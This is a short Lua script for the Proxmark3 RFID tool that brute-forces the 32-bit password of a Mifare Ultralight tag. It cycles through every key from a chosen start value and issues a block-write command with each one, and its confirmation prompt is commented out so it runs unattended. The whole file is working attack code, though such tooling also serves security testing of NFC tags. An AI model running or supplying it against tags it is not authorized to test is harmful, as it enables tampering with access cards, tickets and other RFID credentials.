Proxmark3 Mifare Ultralight pin bruteforce

brutemfu.lua

local getopt = require('getopt')
local utils = require('utils')

local function main(args)
	key = 0x00000000
	byte = 0x04
	data = 0x00000000

	for o, a in getopt.getopt(args, 'k:b:d:') do
		if o == 'k' then key = tonumber(a, 16) end
		if o == 'b' then byte = tonumber(a, 16) end
		if o == 'd' then data = tonumber(a, 16) end
	end

	print('Starting bruteforce from key 0x' .. ('%08x'):format(key)  .. ' to write to address 0x' .. ('%02x'):format(byte) .. ' data 0x' .. ('%08x'):format(data))
	--if utils.confirm('Start bruteforcing?') then
		for i = key,0xFFFFFFFF,1 do
			print('Trying key ' .. ('%08x'):format(i))
			print('hf mfu wrbl b ' .. ('%02x'):format(byte) .. ' d ' .. ('%08x'):format(data) .. ' k ' .. ('%08x'):format(i))
			res = core.console('hf mfu wrbl b ' .. ('%02x'):format(byte) .. ' d ' .. ('%08x'):format(data) .. ' k ' .. ('%08x'):format(i))
		end
	--end
end

main(args)